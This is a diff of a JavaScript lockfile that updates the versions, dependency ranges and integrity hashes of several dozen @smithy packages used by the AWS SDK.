- "@smithy/chunked-blob-reader": ["@smithy/chunked-blob-reader@5.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+sKqDBQqb036hh4NPaUiEkYFkTUGYzRsn3EuFhyfQfMy6oGHEUJDurLP9Ufb5dasr/XiAmPNMr6wa9afjQB+Gw=="],
+ "@smithy/chunked-blob-reader": ["@smithy/chunked-blob-reader@5.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-St+kVicSyayWQca+I1rGitaOEH6uKgE8IUWoYnnEX26SWdWQcL6LvMSD19Lg+vYHKdT9B2Zuu7rd3i6Wnyb/iw=="],
- "@smithy/chunked-blob-reader-native": ["@smithy/chunked-blob-reader-native@4.0.0", "", { "dependencies": { "@smithy/util-base64": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-R9wM2yPmfEMsUmlMlIgSzOyICs0x9uu7UTHoccMyt7BWw8shcGM8HqB355+BZCPBcySvbTYMs62EgEQkNxz2ig=="],
+ "@smithy/chunked-blob-reader-native": ["@smithy/chunked-blob-reader-native@4.2.3", "", { "dependencies": { "@smithy/util-base64": "^4.3.2", "tslib": "^2.6.2" } }, "sha512-jA5k5Udn7Y5717L86h4EIv06wIr3xn8GM1qHRi/Nf31annXcXHJjBKvgztnbn2TxH3xWrPBfgwHsOwZf0UmQWw=="],
- "@smithy/config-resolver": ["@smithy/config-resolver@4.0.1", "", { "dependencies": { "@smithy/node-config-provider": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-config-provider": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-Igfg8lKu3dRVkTSEm98QpZUvKEOa71jDX4vKRcvJVyRc3UgN3j7vFMf0s7xLQhYmKa8kyJGQgUJDOV5V3neVlQ=="],
+ "@smithy/config-resolver": ["@smithy/config-resolver@4.4.10", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/types": "^4.13.0", "@smithy/util-config-provider": "^4.2.2", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-IRTkd6ps0ru+lTWnfnsbXzW80A8Od8p3pYiZnW98K2Hb20rqfsX7VTlfUwhrcOeSSy68Gn9WBofwPuw3e5CCsg=="],
- "@smithy/core": ["@smithy/core@3.1.5", "", { "dependencies": { "@smithy/middleware-serde": "^4.0.2", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-HLclGWPkCsekQgsyzxLhCQLa8THWXtB5PxyYN+2O6nkyLt550KQKTlbV2D1/j5dNIQapAZM1+qFnpBFxZQkgCA=="],
+ "@smithy/core": ["@smithy/core@3.23.9", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.12", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "@smithy/uuid": "^1.1.2", "tslib": "^2.6.2" } }, "sha512-1Vcut4LEL9HZsdpI0vFiRYIsaoPwZLjAxnVQDUMQK8beMS+EYPLDQCXtbzfxmM5GzSgjfe2Q9M7WaXwIMQllyQ=="],
"@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@3.2.0", "", { "dependencies": { "@smithy/node-config-provider": "^3.1.4", "@smithy/property-provider": "^3.1.3", "@smithy/types": "^3.3.0", "@smithy/url-parser": "^3.0.3", "tslib": "^2.6.2" } }, "sha512-0SCIzgd8LYZ9EJxUjLXBmEKSZR/P/w6l7Rz/pab9culE/RWuqelAKGJvn5qUOl8BgX8Yj5HWM50A5hiB/RzsgA=="],
- "@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.6", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-OZfsI+YRG26XZik/jKMMg37acnBSbUiK/8nETW3uM3mLj+0tMmFXdHQw1e5WEd/IHN8BGOh3te91SNDe2o4RHg=="],
+ "@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.11", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.13.0", "@smithy/util-hex-encoding": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-Sf39Ml0iVX+ba/bgMPxaXWAAFmHqYLTmbjAPfLPLY8CrYkRDEqZdUsKC1OwVMCdJXfAt0v4j49GIJ8DoSYAe6w=="],
- "@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-d5T7ZS3J/r8P/PDjgmCcutmNxnSRvPH1U6iHeXjzI50sMr78GLmFcrczLw33Ap92oEKqa4CLrkAPeSSOqvGdUA=="],
+ "@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.11", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-3rEpo3G6f/nRS7fQDsZmxw/ius6rnlIpz4UX6FlALEzz8JoSxFmdBt0SZnthis+km7sQo6q5/3e+UJcuQivoXA=="],
- "@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-lxfDT0UuSc1HqltOGsTEAlZ6H29gpfDSdEPTapD5G63RbnYToZ+ezjzdonCCH90j5tRRCw3aLXVbiZaBW3VRVg=="],
+ "@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-XeNIA8tcP/GDWnnKkO7qEm/bg0B/bP9lvIXZBXcGZwZ+VYM8h8k9wuDvUODtdQ2Wcp2RcBkPTCSMmaniVHrMlA=="],
- "@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-TPhiGByWnYyzcpU/K3pO5V7QgtXYpE0NaJPEZBCa1Y5jlw5SjqzMSbFiLb+ZkJhqoQc0ImGyVINqnq1ze0ZRcQ=="],
+ "@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.11", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-fzbCh18rscBDTQSCrsp1fGcclLNF//nJyhjldsEl/5wCYmgpHblv5JSppQAyQI24lClsFT0wV06N1Porn0IsEw=="],
- "@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.4", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-GNI/IXaY/XBB1SkGBFmbW033uWA0tj085eCxYih0eccUe/PFR7+UBQv9HNDk2fD9TJu7UVsCWsH99TkpEPSOzQ=="],
+ "@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.11", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-MJ7HcI+jEkqoWT5vp+uoVaAjBrmxBtKhZTeynDRG/seEjJfqyg3SiqMMqyPnAMzmIfLaeJ/uiuSDP/l9AnMy/Q=="],
- "@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.0.1", "", { "dependencies": { "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-3aS+fP28urrMW2KTjb6z9iFow6jO8n3MFfineGbndvzGZit3taZhKWtTorf+Gp5RpFDDafeHlhfsGlDCXvUnJA=="],
+ "@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.13", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/querystring-builder": "^4.2.11", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "tslib": "^2.6.2" } }, "sha512-U2Hcfl2s3XaYjikN9cT4mPu8ybDbImV3baXR0PkVlC0TTx808bRP3FaPGAzPtB8OByI+JqJ1kyS+7GEgae7+qQ=="],
- "@smithy/hash-blob-browser": ["@smithy/hash-blob-browser@4.0.1", "", { "dependencies": { "@smithy/chunked-blob-reader": "^5.0.0", "@smithy/chunked-blob-reader-native": "^4.0.0", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-rkFIrQOKZGS6i1D3gKJ8skJ0RlXqDvb1IyAphksaFOMzkn3v3I1eJ8m7OkLj0jf1McP63rcCEoLlkAn/HjcTRw=="],
+ "@smithy/hash-blob-browser": ["@smithy/hash-blob-browser@4.2.12", "", { "dependencies": { "@smithy/chunked-blob-reader": "^5.2.2", "@smithy/chunked-blob-reader-native": "^4.2.3", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-1wQE33DsxkM/waftAhCH9VtJbUGyt1PJ9YRDpOu+q9FUi73LLFUZ2fD8A61g2mT1UY9k7b99+V1xZ41Rz4SHRQ=="],
- "@smithy/hash-node": ["@smithy/hash-node@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-TJ6oZS+3r2Xu4emVse1YPB3Dq3d8RkZDKcPr71Nj/lJsdAP1c7oFzYqEn1IBc915TsgLl2xIJNuxCz+gLbLE0w=="],
+ "@smithy/hash-node": ["@smithy/hash-node@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-buffer-from": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-T+p1pNynRkydpdL015ruIoyPSRw9e/SQOWmSAMmmprfswMrd5Ow5igOWNVlvyVFZlxXqGmyH3NQwfwy8r5Jx0A=="],
- "@smithy/hash-stream-node": ["@smithy/hash-stream-node@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-U1rAE1fxmReCIr6D2o/4ROqAQX+GffZpyMt3d7njtGDr2pUNmAKRWa49gsNVhCh2vVAuf3wXzWwNr2YN8PAXIw=="],
+ "@smithy/hash-stream-node": ["@smithy/hash-stream-node@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-hQsTjwPCRY8w9GK07w1RqJi3e+myh0UaOWBBhZ1UMSDgofH/Q1fEYzU1teaX6HkpX/eWDdm7tAGR0jBPlz9QEQ=="],
- "@smithy/invalid-dependency": ["@smithy/invalid-dependency@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-gdudFPf4QRQ5pzj7HEnu6FhKRi61BfH/Gk5Yf6O0KiSbr1LlVhgjThcvjdu658VE6Nve8vaIWB8/fodmS1rBPQ=="],
+ "@smithy/invalid-dependency": ["@smithy/invalid-dependency@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-cGNMrgykRmddrNhYy1yBdrp5GwIgEkniS7k9O1VLB38yxQtlvrxpZtUVvo6T4cKpeZsriukBuuxfJcdZQc/f/g=="],
- "@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="],
+ "@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-n6rQ4N8Jj4YTQO3YFrlgZuwKodf4zUFs7EJIWH86pSCWBaAtAGBFfCM7Wx6D2bBJ2xqFNxGBSrUWswT3M0VJow=="],
- "@smithy/md5-js": ["@smithy/md5-js@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-HLZ647L27APi6zXkZlzSFZIjpo8po45YiyjMGJZM3gyDY8n7dPGdmxIIljLm4gPt/7rRvutLTTkYJpZVfG5r+A=="],
+ "@smithy/md5-js": ["@smithy/md5-js@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-350X4kGIrty0Snx2OWv7rPM6p6vM7RzryvFs6B/56Cux3w3sChOb3bymo5oidXJlPcP9fIRxGUCk7GqpiSOtng=="],
- "@smithy/middleware-content-length": ["@smithy/middleware-content-length@4.0.1", "", { "dependencies": { "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-OGXo7w5EkB5pPiac7KNzVtfCW2vKBTZNuCctn++TTSOMpe6RZO/n6WEC1AxJINn3+vWLKW49uad3lo/u0WJ9oQ=="],
+ "@smithy/middleware-content-length": ["@smithy/middleware-content-length@4.2.11", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-UvIfKYAKhCzr4p6jFevPlKhQwyQwlJ6IeKLDhmV1PlYfcW3RL4ROjNEDtSik4NYMi9kDkH7eSwyTP3vNJ/u/Dw=="],
- "@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.0.6", "", { "dependencies": { "@smithy/core": "^3.1.5", "@smithy/middleware-serde": "^4.0.2", "@smithy/node-config-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-middleware": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-ftpmkTHIFqgaFugcjzLZv3kzPEFsBFSnq1JsIkr2mwFzCraZVhQk2gqN51OOeRxqhbPTkRFj39Qd2V91E/mQxg=="],
+ "@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.23", "", { "dependencies": { "@smithy/core": "^3.23.9", "@smithy/middleware-serde": "^4.2.12", "@smithy/node-config-provider": "^4.3.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-middleware": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-UEFIejZy54T1EJn2aWJ45voB7RP2T+IRzUqocIdM6GFFa5ClZncakYJfcYnoXt3UsQrZZ9ZRauGm77l9UCbBLw=="],
- "@smithy/middleware-retry": ["@smithy/middleware-retry@4.0.7", "", { "dependencies": { "@smithy/node-config-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/service-error-classification": "^4.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "tslib": "^2.6.2", "uuid": "^9.0.1" } }, "sha512-58j9XbUPLkqAcV1kHzVX/kAR16GT+j7DUZJqwzsxh1jtz7G82caZiGyyFgUvogVfNTg3TeAOIJepGc8TXF4AVQ=="],
+ "@smithy/middleware-retry": ["@smithy/middleware-retry@4.4.40", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/protocol-http": "^5.3.11", "@smithy/service-error-classification": "^4.2.11", "@smithy/smithy-client": "^4.12.3", "@smithy/types": "^4.13.0", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/uuid": "^1.1.2", "tslib": "^2.6.2" } }, "sha512-YhEMakG1Ae57FajERdHNZ4ShOPIY7DsgV+ZoAxo/5BT0KIe+f6DDU2rtIymNNFIj22NJfeeI6LWIifrwM0f+rA=="],
- "@smithy/middleware-serde": ["@smithy/middleware-serde@4.0.2", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Sdr5lOagCn5tt+zKsaW+U2/iwr6bI9p08wOkCp6/eL6iMbgdtc2R5Ety66rf87PeohR0ExI84Txz9GYv5ou3iQ=="],
+ "@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.12", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-W9g1bOLui7Xn5FABRVS0o3rXL0gfN37d/8I/W7i0N7oxjx9QecUmXEMSUMADTODwdtka9cN43t5BI2CodLJpng=="],
- "@smithy/middleware-stack": ["@smithy/middleware-stack@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dHwDmrtR/ln8UTHpaIavRSzeIk5+YZTBtLnKwDW3G2t6nAupCiQUvNzNoHBpik63fwUaJPtlnMzXbQrNFWssIA=="],
+ "@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-s+eenEPW6RgliDk2IhjD2hWOxIx1NKrOHxEwNUaUXxYBxIyCcDfNULZ2Mu15E3kwcJWBedTET/kEASPV1A1Akg=="],
- "@smithy/node-config-provider": ["@smithy/node-config-provider@4.0.1", "", { "dependencies": { "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-8mRTjvCtVET8+rxvmzRNRR0hH2JjV0DFOmwXPrISmTIJEfnCBugpYYGAsCj8t41qd+RB5gbheSQ/6aKZCQvFLQ=="],
+ "@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.11", "", { "dependencies": { "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-xD17eE7kaLgBBGf5CZQ58hh2YmwK1Z0O8YhffwB/De2jsL0U3JklmhVYJ9Uf37OtUDLF2gsW40Xwwag9U869Gg=="],
- "@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.6", "", { "dependencies": { "@smithy/abort-controller": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-Gsb9jf4ido5BhPfani4ggyrKDd3ZK+vTFWmUaZeFg5G3E5nhFmqiTzAIbHqmPs1sARuJawDiGMGR/nY+Gw6+aQ=="],
+ "@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.14", "", { "dependencies": { "@smithy/abort-controller": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/querystring-builder": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-DamSqaU8nuk0xTJDrYnRzZndHwwRnyj/n/+RqGGCcBKB4qrQem0mSDiWdupaNWdwxzyMU91qxDmHOCazfhtO3A=="],
"@smithy/property-provider": ["@smithy/property-provider@3.1.3", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-zahyOVR9Q4PEoguJ/NrFP4O7SMAfYO1HLhB18M+q+Z4KFd4V2obiMnlVoUFzFLSPeVt1POyNWneHHrZaTMoc/g=="],
- "@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+ "@smithy/protocol-http": ["@smithy/protocol-http@5.3.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hI+barOVDJBkNt4y0L2mu3Ugc0w7+BpJ2CZuLwXtSltGAAwCb3IvnalGlbDV/UCS6a9ZuT3+exd1WxNdLb5IlQ=="],
- "@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-MeM9fTAiD3HvoInK/aA8mgJaKQDvm8N0dKy6EiFaCfgpovQr4CaOkJC28XqlSRABM+sHdSQXbC8NZ0DShBMHqg=="],
+ "@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-uri-escape": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-7spdikrYiljpket6u0up2Ck2mxhy7dZ0+TDd+S53Dg2DHd6wg+YNJrTCHiLdgZmEXZKI7LJZcwL3721ZRDFiqA=="],
- "@smithy/querystring-parser": ["@smithy/querystring-parser@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Ma2XC7VS9aV77+clSFylVUnPZRindhB7BbmYiNOdr+CHt/kZNJoPP0cd3QxCnCFyPXC4eybmyE98phEHkqZ5Jw=="],
+ "@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-nE3IRNjDltvGcoThD2abTozI1dkSy8aX+a2N1Rs55en5UsdyyIXgGEmevUL3okZFoJC77JgRGe99xYohhsjivQ=="],
- "@smithy/service-error-classification": ["@smithy/service-error-classification@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0" } }, "sha512-3JNjBfOWpj/mYfjXJHB4Txc/7E4LVq32bwzE7m28GN79+M1f76XHflUaSUkhOriprPDzev9cX/M+dEB80DNDKA=="],
+ "@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0" } }, "sha512-HkMFJZJUhzU3HvND1+Yw/kYWXp4RPDLBWLcK1n+Vqw8xn4y2YiBhdww8IxhkQjP/QlZun5bwm3vcHc8AqIU3zw=="],
- "@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-hC8F6qTBbuHRI/uqDgqqi6J0R4GtEZcgrZPhFQnMhfJs3MnUTGSnR1NSJCJs5VWlMydu0kJz15M640fJlRsIOw=="],
+ "@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.6", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-IB/M5I8G0EeXZTHsAxpx51tMQ5R719F3aq+fjEB6VtNcCHDc0ajFDIGDZw+FW9GxtEkgTduiPpjveJdA/CX7sw=="],
- "@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+ "@smithy/signature-v4": ["@smithy/signature-v4@5.3.11", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.2", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-uri-escape": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-V1L6N9aKOBAN4wEHLyqjLBnAz13mtILU0SeDrjOaIZEeN6IFa6DxwRt1NNpOdmSpQUfkBj0qeD3m6P77uzMhgQ=="],
- "@smithy/smithy-client": ["@smithy/smithy-client@4.1.6", "", { "dependencies": { "@smithy/core": "^3.1.5", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-stack": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-stream": "^4.1.2", "tslib": "^2.6.2" } }, "sha512-UYDolNg6h2O0L+cJjtgSyKKvEKCOa/8FHYJnBobyeoeWDmNpXjwOAtw16ezyeu1ETuuLEOZbrynK0ZY1Lx9Jbw=="],
+ "@smithy/smithy-client": ["@smithy/smithy-client@4.12.3", "", { "dependencies": { "@smithy/core": "^3.23.9", "@smithy/middleware-endpoint": "^4.4.23", "@smithy/middleware-stack": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-stream": "^4.5.17", "tslib": "^2.6.2" } }, "sha512-7k4UxjSpHmPN2AxVhvIazRSzFQjWnud3sOsXcFStzagww17j1cFQYqTSiQ8xuYK3vKLR1Ni8FzuT3VlKr3xCNw=="],
- "@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="],
+ "@smithy/types": ["@smithy/types@4.13.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-COuLsZILbbQsdrwKQpkkpyep7lCsByxwj7m0Mg5v66/ZTyenlfBc40/QFQ5chO0YN/PNEH1Bi3fGtfXPnYNeDw=="],
- "@smithy/url-parser": ["@smithy/url-parser@4.0.1", "", { "dependencies": { "@smithy/querystring-parser": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-gPXcIEUtw7VlK8f/QcruNXm7q+T5hhvGu9tl63LsJPZ27exB6dtNwvh2HIi0v7JcXJ5emBxB+CJxwaLEdJfA+g=="],
+ "@smithy/url-parser": ["@smithy/url-parser@4.2.11", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-oTAGGHo8ZYc5VZsBREzuf5lf2pAurJQsccMusVZ85wDkX66ojEc/XauiGjzCj50A61ObFTPe6d7Pyt6UBYaing=="],
- "@smithy/util-base64": ["@smithy/util-base64@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-CvHfCmO2mchox9kjrtzoHkWHxjHZzaFojLc8quxXY7WAAMAg43nuxwv95tATVgQFNDwd4M9S1qFzj40Ul41Kmg=="],
+ "@smithy/util-base64": ["@smithy/util-base64@4.3.2", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-XRH6b0H/5A3SgblmMa5ErXQ2XKhfbQB+Fm/oyLZ2O2kCUrwgg55bU0RekmzAhuwOjA9qdN5VU2BprOvGGUkOOQ=="],
- "@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-sNi3DL0/k64/LO3A256M+m3CDdG6V7WKWHdAiBBMUN8S3hK3aMPhwnPik2A/a2ONN+9doY9UxaLfgqsIRg69QA=="],
+ "@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-JKCrLNOup3OOgmzeaKQwi4ZCTWlYR5H4Gm1r2uTMVBXoemo1UEghk5vtMi1xSu2ymgKVGW631e2fp9/R610ZjQ=="],
- "@smithy/util-body-length-node": ["@smithy/util-body-length-node@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-q0iDP3VsZzqJyje8xJWEJCNIu3lktUGVoSy1KB0UWym2CL1siV3artm+u1DFYTLejpsrdGyCSWBdGNjJzfDPjg=="],
+ "@smithy/util-body-length-node": ["@smithy/util-body-length-node@4.2.3", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-ZkJGvqBzMHVHE7r/hcuCxlTY8pQr1kMtdsVPs7ex4mMU+EAbcXppfo5NmyxMYi2XU49eqaz56j2gsk4dHHPG/g=="],
- "@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="],
+ "@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.2", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-FDXD7cvUoFWwN6vtQfEta540Y/YBe5JneK3SoZg9bThSoOAC/eGeYEua6RkBgKjGa/sz6Y+DuBZj3+YEY21y4Q=="],
- "@smithy/util-config-provider": ["@smithy/util-config-provider@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-L1RBVzLyfE8OXH+1hsJ8p+acNUSirQnWQ6/EgpchV88G6zGBTDPdXiiExei6Z1wR2RxYvxY/XLw6AMNCCt8H3w=="],
